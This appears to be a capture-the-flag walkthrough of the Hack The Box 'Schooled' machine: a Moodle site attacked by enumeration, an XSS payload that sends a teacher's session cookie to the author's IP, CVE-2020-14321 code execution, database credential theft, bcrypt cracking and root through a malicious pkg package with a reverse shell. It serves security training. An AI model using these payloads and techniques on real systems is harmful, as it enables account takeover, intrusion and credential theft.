Reconnaissance & Enumeration
As usual we start with a Nmap scan of the box.
# Nmap 7.91 scan initiated Sun Apr 4 18:53:19 2021 as: nmap -v -sC -sV -oN nmap -p- schooled.htb Nmap scan report for schooled.htb (10.129.94.67) Host is up (0.16s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0) | ssh-hostkey: | 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA) | 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA) |_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519) 80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15) |_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717 | http-methods: | Supported Methods: GET POST OPTIONS HEAD TRACE |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15 |_http-title: Schooled - A new kind of educational institute 33060/tcp open mysqlx? | fingerprint-strings: | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: | Invalid message" | HY000 | LDAPBindReq: | *Parse error unserializing protobuf message" | HY000 | oracle-tns: | Invalid message-frame." |_ HY000 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ... Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 4 19:05:10 2021 -- 1 IP address (1 host up) scanned in 711.32 seconds
We have 3 open ports:
- 80 - The usual apache service
- 21 - SSH
- 33060 - The port for X Protocol of MySQL
The website doesn’t give much at first glance. I’ve tried to find an admin or login page but I couldn’t.
The initial directory enumeration on the web-service didn’t give any useful information, so I decided to read through the webpages of the site and check the source code of each page.
about page mentions the Moodle LMS several times, which is also used by university so I have a little experience with it.
I ran a subdomain enumeration to check if Moodle is really being used by them and to find other possible subdomains.
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Schooled] └─$ gobuster vhost -u schooled.htb -w /usr/share/wordlists/subdomains-10000.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://schooled.htb [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/subdomains-10000.txt [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/04/04 22:53:28 Starting gobuster =============================================================== Found: moodle.schooled.htb (Status: 200) [Size: 84] =============================================================== 2021/04/04 22:57:39 Finished
I tried to find CVEs related to Moodle but couldn’t find any useful, since either it has already been patched in this version of moodle or I would need teacher privileges.
Navigating to the Moodle site we can see some courses but to access them we have to register, so let’s do so.
In order to be able to register you have to enter an email address, which has student.schooled.htb as domain.
After logging in we can enroll into the course
mathematics. The only interesting data I’ve found after enrolling is the
Reminder for joining students announcement.
It says something about setting the MoodleNet profile and that Manuel Phillips will be checking all the students who enrolled on the course. This means he will visit our profile page. So, if we could setup an XSS attack on our profile we might be able to take over his account.
On the edit page of our profile we have many different input fields, so I tested all of them, but only the
MoodleNet profile field is vulnerable to XSS injections. Injecting the following code we can steal the cookies of the user who visits our profile.
<img src=x onerror=this.src="http://10.10.14.83/c="+document.cookie>
MoodleNet profile I set up a listener and waited.
After some time the teacher’s request appeared with its session cookie.
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Schooled] └─$ sudo nc -nvlp 80 listening on [any] 80 ... connect to [10.10.14.83] from (UNKNOWN) [10.129.94.153] 12711 GET /?c=MoodleSession=2mnm2e9f89v0ienffrn1fd1o7a HTTP/1.1 Host: 10.10.14.83 User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://moodle.schooled.htb/moodle/user/profile.php?id=28 Upgrade-Insecure-Requests: 1
In the browser I changed my session cookie to the stolen one. After gaining teacher privileges I looked through the CVEs related to Moodle again and found
CVE-2020–14321 on the official Moodle site here
A very detailed information about the vulnerability is available in this GitHub repo. All I had to do is to follow the instructions in this video. (Note: I changed the
.php file in the
rce.zip to a simple php reverse-shell.)
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Schooled] └─$ sudo nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.14.83] from (UNKNOWN) [10.129.94.238] 56453 FreeBSD Schooled 13.0-BETA3 FreeBSD 13.0-BETA3 #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021 email@example.com:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64 9:11AM up 20:18, 0 users, load averages: 0.35, 0.43, 0.40 USER TTY FROM LOGIN@ IDLE WHAT uid=80(www) gid=80(www) groups=80(www) sh: can't access tty; job control turned off $
After getting shell I tried to enter the home directory of the user
steve but of course I got denied, so looked up the official Moodle documentation to find out more about its configuration. The docs states that the name of the configuration file is
config.php so I used the find command to locate it.
find / -name "config.php" 2>/dev/null
Looking at the
config.php we find the username and password of the MySQL service.
$ cat config.php <?php // Moodle configuration file unset($CFG); global $CFG; $CFG = new stdClass(); $CFG->dbtype = 'mysqli'; $CFG->dblibrary = 'native'; $CFG->dbhost = 'localhost'; $CFG->dbname = 'moodle'; $CFG->dbuser = 'moodle'; $CFG->dbpass = 'PlaybookMaster2020'; $CFG->prefix = 'mdl_'; $CFG->dboptions = array ( 'dbpersist' => 0, 'dbport' => 3306, 'dbsocket' => '', 'dbcollation' => 'utf8_unicode_ci', ); $CFG->wwwroot = 'http://moodle.schooled.htb/moodle'; $CFG->dataroot = '/usr/local/www/apache24/moodledata'; $CFG->admin = 'admin'; $CFG->directorypermissions = 0777; require_once(__DIR__ . '/lib/setup.php'); // There is no php closing tag in this file, // it is intentional because it prevents trailing whitespace problems! $
After getting the credentials I used the local MySQL to explore the tables and databases, though it was not added to the path, so I had to find it first.
$ mysql -u moodle -pPlaybookMaster2020 -e 'show databases;' /bin/sh: mysql: not found $ find / -name "mysql" 2>/dev/null /usr/local/bin/mysql /usr/local/share/bash-completion/completions/mysql /usr/local/share/mysql /usr/local/include/mysql /usr/local/include/mysql/mysql /usr/local/etc/mysql /usr/local/lib/mysql /var/mail/mysql /var/db/mysql /var/db/mysql/mysql $
moodle database there are a lot of tables, but I was looking for the user data, which is stored in the
mdl_user table as its name suggests.
In the table we can find the hashed password of the
admin and his name:
$ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e 'use moodle;select * from mdl_user;' mysql: [Warning] Using a password on the command line interface can be insecure. 1 manual 1 0 0 0 1 guest $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2 Guest user root@localhost en gregorian 99 0 0 0 0 0 This user is a special user that allows read-only access to some courses. 1 1 0 2 1 0 01608320077 0 NULL NULL NULL NULL NULL NULL 2 manual 1 0 0 0 1 admin $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW Jamie Borham firstname.lastname@example.org 0 Bournemouth GB en gregorian 99 1608320129 1608729680 1608681411 1608729680 192.168.1.14 0 1 1 0 0 1 0 01608389236 0 ... 28 onlineconfirm 1 0 0 0 1 wuhwe $2y$10$gwSBXEawBwH9cFmGpqKMG.t7czkIYNZTX5ovCwjg2JGQuLV4BXkRm a b email@example.com 0 en gregorian 99 1617696050 1617696123 0 1617696050 10.10.14.83 uCaI3BSELI8qTb5 0 1 1 0 2 1 0 1617696047 16176961220 <img src=x onerror=this.src="http://10.10.14.83/c="+document.cookie> $
hashcat to crack the password. (The password is hashed using the
bycrypt hashing function.)
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Schooled] └─$ hashcat -m 3200 ./hash /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-Intel(R) Core(TM) i5-7400 CPU @ 3.00GHz, 2889/2953 MB (1024 MB allocatable), 2MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 72 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers applied: * Zero-Byte * Single-Hash * Single-Salt Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 64 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s Session..........: hashcat Status...........: Running Hash.Name........: bcrypt $2*$, Blowfish (Unix) Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW Time.Started.....: Tue Apr 6 09:34:21 2021 (2 mins, 24 secs) Time.Estimated...: Tue Apr 13 10:09:04 2021 (7 days, 0 hours) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 24 H/s (10.56ms) @ Accel:2 Loops:64 Thr:1 Vec:8 Recovered........: 0/1 (0.00%) Digests Progress.........: 3396/14344385 (0.02%) Rejected.........: 0/3396 (0.00%) Restore.Point....: 3396/14344385 (0.02%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:640-704 Candidates.#1....: heartbroken -> chiqui $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx Session..........: hashcat Status...........: Cracked Hash.Name........: bcrypt $2*$, Blowfish (Unix) Hash.Target......: $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5G...l4qTiW Time.Started.....: Tue Apr 6 09:34:21 2021 (9 mins, 57 secs) Time.Estimated...: Tue Apr 6 09:44:18 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 23 H/s (10.81ms) @ Accel:2 Loops:64 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 13896/14344385 (0.10%) Rejected.........: 0/13896 (0.00%) Restore.Point....: 13892/14344385 (0.10%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024 Candidates.#1....: !QAZ2wsx -> superpet Started: Tue Apr 6 09:34:18 2021 Stopped: Tue Apr 6 09:44:20 2021
After cracking the password we can access the machine through SSH with the username
jamie and grab the user flag.
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Machines/Schooled] └─$ ssh firstname.lastname@example.org The authenticity of host 'schooled.htb (10.129.94.238)' can't be established. ECDSA key fingerprint is SHA256:BiWc+ARPWyYTueBR7SHXcDYRuGsJ60y1fPuKakCZYDc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'schooled.htb,10.129.94.238' (ECDSA) to the list of known hosts. Password for jamie@Schooled: Last login: Tue Mar 16 14:44:53 2021 from 10.10.14.5 FreeBSD 13.0-BETA3 (GENERIC) #0 releng/13.0-n244525-150b4388d3b: Fri Feb 19 04:04:34 UTC 2021 Welcome to FreeBSD! Release Notes, Errata: https://www.FreeBSD.org/releases/ Security Advisories: https://www.FreeBSD.org/security/ FreeBSD Handbook: https://www.FreeBSD.org/handbook/ FreeBSD FAQ: https://www.FreeBSD.org/faq/ Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/ FreeBSD Forums: https://forums.FreeBSD.org/ Documents installed with the system are in the /usr/local/share/doc/freebsd/ directory, or can be installed later with: pkg install en-freebsd-doc For other languages, replace "en" with a language code like de or fr. Show the version of FreeBSD installed: freebsd-version ; uname -a Please include that output and any error messages when posting questions. Introduction to manual pages: man man FreeBSD directory layout: man hier To change this login announcement, see motd(5). Forget how to spell a word or a variation of a word? Use look portion_of_word_you_know -- Dru <email@example.com> jamie@Schooled:~ $
Listing the allowed sudoable commands as the user
jamie we find out that we can run the following commands as sudo without password:
jamie@Schooled:~ $ sudo -l User jamie may run the following commands on Schooled: (ALL) NOPASSWD: /usr/sbin/pkg update (ALL) NOPASSWD: /usr/sbin/pkg install * jamie@Schooled:~ $
Looks like we have to craft our own package, just like at the
armageddon box, but this time on FreeBSD. I found this site about how to create custom packages on FreeBSD.
I followed the instructions and created the files as it said, except for the commands inside the package. I changed these lines
echo "Registering root shell" pw usermod -n root -s /bin/sh
so that my package could create a reverse-shell to my machine. After creating the package I started a
netcat listener on my end and installed the package on the target machine.
jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz pkg: Repository FreeBSD has a wrong packagesite, need to re-create database pkg: Repository FreeBSD cannot be opened. 'pkg update' required Checking integrity... done (0 conflicting) The following 1 package(s) will be affected (of 0 checked): New packages to be INSTALLED: mypackage: 1.0_5 Number of packages to be installed: 1 Proceed with this action? [y/N]: y [1/1] Installing mypackage-1.0_5...
After getting connection from our victim we can easily grab the root flag.
┌──(kali㉿kali)-[~] └─$ sudo nc -nvlp 4444 [sudo] password for kali: listening on [any] 4444 ... connect to [10.10.14.83] from (UNKNOWN) [10.129.94.238] 17544 # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) # cd /root # ls -la total 77 drwxr-x--- 5 root wheel 13 Mar 30 12:55 . drwxr-xr-x 19 root wheel 24 Apr 5 12:53 .. drwxr-xr-x 3 root wheel 3 Feb 27 17:27 .cache -rw-r--r-- 2 root wheel 1023 Feb 19 05:58 .cshrc -rw-rw-rw- 1 root wheel 67 Mar 30 12:55 .history -rw-r--r-- 1 root wheel 80 Feb 19 06:07 .k5login lrwxr-xr-x 1 root wheel 9 Mar 18 08:45 .lesshst -> /dev/null -rw-r--r-- 1 root wheel 328 Feb 19 05:58 .login -rw-r--r-- 2 root wheel 507 Feb 19 05:58 .profile -rw-r--r-- 1 root wheel 865 Feb 19 05:58 .shrc drwx------ 2 root wheel 3 Feb 27 14:31 .ssh -r-------- 1 root wheel 33 Apr 5 12:53 root.txt dr-x------ 2 root wheel 5 Mar 17 15:47 scripts # cat root.txt 10ef30ac82aeeb7b053b57ba99ad053d